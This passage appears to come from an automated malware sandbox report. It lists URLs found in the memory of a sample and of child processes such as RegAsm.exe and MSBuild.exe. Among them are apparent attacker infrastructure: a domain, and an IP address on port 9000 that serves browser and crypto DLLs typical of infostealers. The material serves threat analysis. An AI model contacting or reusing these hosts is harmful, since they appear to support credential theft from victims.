00000000.00000003.2231089447.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2197715382.0000000002B42000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://sextipolar.sbs/qwqw
Source: tZvjMg3Hw9.exe, 00000000.00000003.2202746021.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2223509858.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2224191644.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2200495719.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2225619807.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2209752044.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2222944513.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2231089447.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2197715382.0000000002B42000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://sextipolar.sbs/qwqw0/h
Source: tZvjMg3Hw9.exe, 00000000.00000003.2202746021.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2200495719.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2197715382.0000000002B42000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://sextipolar.sbs/qwqwG
Source: tZvjMg3Hw9.exe, 00000000.00000003.2197715382.0000000002B42000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://sextipolar.sbs/qwqwS
Source: tZvjMg3Hw9.exe, 00000000.00000003.2202746021.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2223509858.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2224191644.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2200495719.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2225619807.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2209752044.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2222944513.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2231089447.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2197715382.0000000002B42000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://sextipolar.sbs/qwqwi
Source: tZvjMg3Hw9.exe, 00000000.00000003.2190482787.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2202746021.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2223509858.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2224191644.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2200495719.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2182444428.0000000002B56000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2225619807.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2209752044.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2222944513.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2182187874.0000000002B5D000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2231089447.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2197715382.0000000002B42000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://sextipolar.sbs/qwqww
Source: RegAsm.exe, 0000001E.00000002.3391212061.0000000000435000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001E.00000002.3402168872.000000000164E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/account/cookiepreferences/
Source: RegAsm.exe, 0000001E.00000002.3391212061.0000000000435000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001E.00000002.3402168872.000000000164E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/privacy_agreement/
Source: RegAsm.exe, 0000001E.00000002.3391212061.0000000000435000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001E.00000002.3402168872.000000000164E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/subscriber_agreement/
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002B56000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000019.00000002.3431121000.0000000002A21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002B56000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/D
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002A21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Ent
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002A21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002A21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id1
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002A21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id10
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002BC6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id10ResponseD
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002A21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id10ResponseH
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002A21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id11
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002A21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id11ResponseH
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002A21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id12
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002A21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id12ResponseH
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002BD0000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000019.00000002.3431121000.0000000002A21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id13
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002BC6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id13Response
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002BD0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id13ResponseD
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002A21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id13ResponseH
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002A21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id14
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002A21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id14ResponseH
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002A21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id15
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002A21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id15ResponseH
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002A21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id16
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002BD0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id16ResponseD
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002A21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id16ResponseH
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002A21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id17
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002BD0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id17ResponseD
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002A21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id17ResponseH
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002A21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id18
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002BD0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id18ResponseD
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002A21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id18ResponseH
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002A21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id19
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002BD0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id19ResponseD
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002A21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id19ResponseH
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002B56000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id1Response
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002B56000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id1ResponseD
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002A21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id1ResponseH
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002A21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id2
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002A21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id20
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002BD0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id20ResponseD
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002A21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id20ResponseH
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002A21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id21
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002A21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id21ResponseH
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002A21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id22
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002A21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id22ResponseH
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002A21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id23
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002A21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id23ResponseH
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002A21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id24
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002A21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id24ResponseH
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002B56000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id2ResponseD
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002A21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id2ResponseH
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002A21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id3
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002A21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id3ResponseH
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002B56000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000019.00000002.3431121000.0000000002A21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id4
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002B56000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id4ResponseD
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002A21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id4ResponseH
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002A21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id5
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002A21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id5ResponseH
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002A21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id6
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002A21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id6ResponseH
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002A21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id7
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002A21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id7ResponseH
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002A21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id8
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002A21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id8ResponseH
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002A21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id9
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002B56000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id9Response
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002A21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id9ResponseH
Source: cWSgbiiWuHkrGD6e9Bvvb03z.exe, 0000000B.00000000.2582436692.0000000000943000.00000002.00000001.01000000.00000008.sdmp	String found in binary or memory: http://www.digicert.com/CPS0
Source: TrIR3OjzF5zT6wur9yJ59R0V.exe, 00000015.00000002.3350644309.00000268C3011000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.gzip.org/zlib/rfc-gzip.html
Source: FXnrFSfIY3onUvtSB3cuKesF.tmp, 00000024.00000000.2716994041.0000000000401000.00000020.00000001.01000000.0000001A.sdmp	String found in binary or memory: http://www.innosetup.com/
Source: FXnrFSfIY3onUvtSB3cuKesF.exe, 00000012.00000003.2599128692.0000000001FC1000.00000004.00001000.00020000.00000000.sdmp, FXnrFSfIY3onUvtSB3cuKesF.exe, 00000012.00000003.2599057452.00000000022B0000.00000004.00001000.00020000.00000000.sdmp, FXnrFSfIY3onUvtSB3cuKesF.exe, 00000012.00000002.3396324001.0000000001FC1000.00000004.00001000.00020000.00000000.sdmp, FXnrFSfIY3onUvtSB3cuKesF.tmp, 00000024.00000003.2724805504.0000000003100000.00000004.00001000.00020000.00000000.sdmp, FXnrFSfIY3onUvtSB3cuKesF.tmp, 00000024.00000002.3398410103.0000000000830000.00000004.00000020.00020000.00000000.sdmp, FXnrFSfIY3onUvtSB3cuKesF.tmp, 00000024.00000002.3402042090.00000000021A8000.00000004.00001000.00020000.00000000.sdmp, FXnrFSfIY3onUvtSB3cuKesF.tmp, 00000024.00000003.2724877822.00000000021A8000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.mpegla.com
Source: FXnrFSfIY3onUvtSB3cuKesF.tmp, 00000024.00000000.2716994041.0000000000401000.00000020.00000001.01000000.0000001A.sdmp	String found in binary or memory: http://www.remobjects.com/ps
Source: FXnrFSfIY3onUvtSB3cuKesF.tmp, 00000024.00000000.2716994041.0000000000401000.00000020.00000001.01000000.0000001A.sdmp	String found in binary or memory: http://www.remobjects.com/psU
Source: RegAsm.exe, 0000001E.00000002.3605946905.000000001C4FD000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 0000001E.00000002.3493610284.0000000016559000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: RegAsm.exe, 0000001E.00000002.3391212061.0000000000435000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001E.00000002.3402168872.000000000164E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.valvesoftware.com/legal.htm
Source: lrPP7Py6j59vWWqs5P8cBSO1.exe, 00000007.00000002.3395350920.0000000000515000.00000002.00000001.01000000.00000007.sdmp, pnUE3Ri3AJFo6xuNgBEk3Rs_.exe, 00000008.00000002.3395015295.0000000000515000.00000002.00000001.01000000.0000000A.sdmp, tDrDIT3EJ93dpzmmxTIMr4ah.exe, 0000000D.00000002.3395848430.0000000000516000.00000002.00000001.01000000.0000000F.sdmp, smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3395244504.0000000000B11000.00000040.00000001.01000000.0000000E.sdmp, 9AzlS7F3tYa6PD9PpLcR316P.exe, 00000014.00000002.3398241309.0000000000CFF000.00000002.00000001.01000000.00000013.sdmp, 9AzlS7F3tYa6PD9PpLcR316P.exe, 00000014.00000003.2920616279.0000000000B60000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.winimage.com/zLibDll
Source: lrPP7Py6j59vWWqs5P8cBSO1.exe, 00000007.00000002.3395350920.0000000000515000.00000002.00000001.01000000.00000007.sdmp, pnUE3Ri3AJFo6xuNgBEk3Rs_.exe, 00000008.00000002.3395015295.0000000000515000.00000002.00000001.01000000.0000000A.sdmp, tDrDIT3EJ93dpzmmxTIMr4ah.exe, 0000000D.00000002.3395848430.0000000000516000.00000002.00000001.01000000.0000000F.sdmp	String found in binary or memory: http://www.winimage.com/zLibDllDpRTpR
Source: RegAsm.exe, 0000001E.00000002.3402168872.000000000162A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://95.217.245.42/
Source: RegAsm.exe, 0000001E.00000002.3402168872.000000000162A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://95.217.245.42/2
Source: RegAsm.exe, 0000001E.00000002.3402168872.000000000164E000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001E.00000002.3391212061.0000000000606000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://95.217.245.42:9000
Source: RegAsm.exe, 0000001E.00000002.3402168872.000000000164E000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001E.00000002.3402168872.00000000015F7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://95.217.245.42:9000/
Source: RegAsm.exe, 0000001E.00000002.3402168872.000000000164E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://95.217.245.42:9000/&B
Source: RegAsm.exe, 0000001E.00000002.3402168872.000000000164E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://95.217.245.42:9000/B
Source: RegAsm.exe, 0000001E.00000002.3391212061.0000000000606000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://95.217.245.42:9000/freebl3.dll
Source: RegAsm.exe, 0000001E.00000002.3402168872.000000000164E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://95.217.245.42:9000/freebl3.dll4
Source: RegAsm.exe, 0000001E.00000002.3402168872.000000000173B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://95.217.245.42:9000/h
Source: RegAsm.exe, 0000001E.00000002.3402168872.000000000164E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://95.217.245.42:9000/hKp
Source: RegAsm.exe, 0000001E.00000002.3391212061.000000000056C000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://95.217.245.42:9000/ing
Source: RegAsm.exe, 0000001E.00000002.3391212061.000000000056C000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://95.217.245.42:9000/l
Source: RegAsm.exe, 0000001E.00000002.3391212061.000000000056C000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001E.00000002.3402168872.000000000164E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://95.217.245.42:9000/mozglue.dll
Source: RegAsm.exe, 0000001E.00000002.3402168872.000000000159A000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001E.00000002.3391212061.000000000056C000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001E.00000002.3402168872.000000000164E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://95.217.245.42:9000/msvcp140.dll
Source: RegAsm.exe, 0000001E.00000002.3391212061.000000000056C000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://95.217.245.42:9000/msvcp140.dllEdge
Source: RegAsm.exe, 0000001E.00000002.3402168872.000000000164E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://95.217.245.42:9000/nss3.dll
Source: RegAsm.exe, 0000001E.00000002.3402168872.000000000164E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://95.217.245.42:9000/nss3.dll%
Source: RegAsm.exe, 0000001E.00000002.3402168872.0000000001712000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://95.217.245.42:9000/nss3.dllN
Source: RegAsm.exe, 0000001E.00000002.3391212061.000000000056C000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://95.217.245.42:9000/nss3.dlloft
Source: RegAsm.exe, 0000001E.00000002.3402168872.000000000164E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://95.217.245.42:9000/nss3.dllr
Source: RegAsm.exe, 0000001E.00000002.3402168872.0000000001712000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001E.00000002.3402168872.000000000173B000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001E.00000002.3391212061.000000000056C000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001E.00000002.3402168872.000000000164E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://95.217.245.42:9000/softokn3.dll
Source: RegAsm.exe, 0000001E.00000002.3391212061.000000000056C000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://95.217.245.42:9000/softokn3.dllEdge
Source: RegAsm.exe, 0000001E.00000002.3402168872.000000000164E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://95.217.245.42:9000/softokn3.dllF_B
Source: RegAsm.exe, 0000001E.00000002.3391212061.0000000000528000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001E.00000002.3402168872.000000000164E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://95.217.245.42:9000/sqlx.dll
Source: RegAsm.exe, 0000001E.00000002.3402168872.000000000164E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://95.217.245.42:9000/sqlx.dllk
Source: RegAsm.exe, 0000001E.00000002.3402168872.000000000164E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://95.217.245.42:9000/vCL
Source: RegAsm.exe, 0000001E.00000002.3402168872.000000000164E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://95.217.245.42:9000/vcruntime140.dll
Source: RegAsm.exe, 0000001E.00000002.3391212061.000000000056C000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://95.217.245.42:9000/vcruntime140.dll_7)
Source: RegAsm.exe, 0000001E.00000002.3402168872.000000000164E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://95.217.245.42:9000/vcruntime140.dllet
Source: RegAsm.exe, 0000001E.00000002.3402168872.000000000164E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://95.217.245.42:9000/vcruntime140.dllpet
Source: RegAsm.exe, 0000001E.00000002.3402168872.000000000164E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://95.217.245.42:9000/~CD
Source: RegAsm.exe, 0000001E.00000002.3391212061.0000000000435000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://95.217.245.42:900077d73gle
Source: RegAsm.exe, 0000001E.00000002.3391212061.000000000056C000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://95.217.245.42:900077d73rosoft
Source: RegAsm.exe, 0000001E.00000002.3391212061.000000000056C000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001E.00000002.3391212061.0000000000606000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://95.217.245.42:9000al
Source: RegAsm.exe, 0000001E.00000002.3391212061.000000000056C000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://95.217.245.42:9000el
Source: RegAsm.exe, 0000001E.00000002.3391212061.000000000056C000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://95.217.245.42:9000ming
Source: RegAsm.exe, 0000001E.00000002.3391212061.0000000000435000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://95.217.245.42:9000vcruntime140.dll_7)
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000003.3337993005.00000000018FE000.00000004.00000020.00020000.00000000.sdmp, smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000003.3293078281.00000000018EF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: MSBuild.exe, 00000021.00000002.2873629498.0000000002F69000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.ip.s
Source: MSBuild.exe, 00000021.00000002.2873629498.0000000002F69000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.ip.sb/ip
Source: 9AzlS7F3tYa6PD9PpLcR316P.exe, 00000014.00000002.3401785984.0000000001337000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.myip.com/
Source: 9AzlS7F3tYa6PD9PpLcR316P.exe, 00000014.00000002.3401785984.0000000001337000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.myip.com:443/
Source: RegAsm.exe, 0000001E.00000002.3402168872.000000000164E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://avatars.cloudflare.steamstatic.com/fef49e7fa7e1997310d705b2a6158ff8dc1cdfeb_full.jpg
Source: tZvjMg3Hw9.exe, 00000000.00000003.2190482787.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2202746021.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2223509858.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2224191644.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2200495719.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2225619807.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2209752044.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2222944513.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2231089447.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 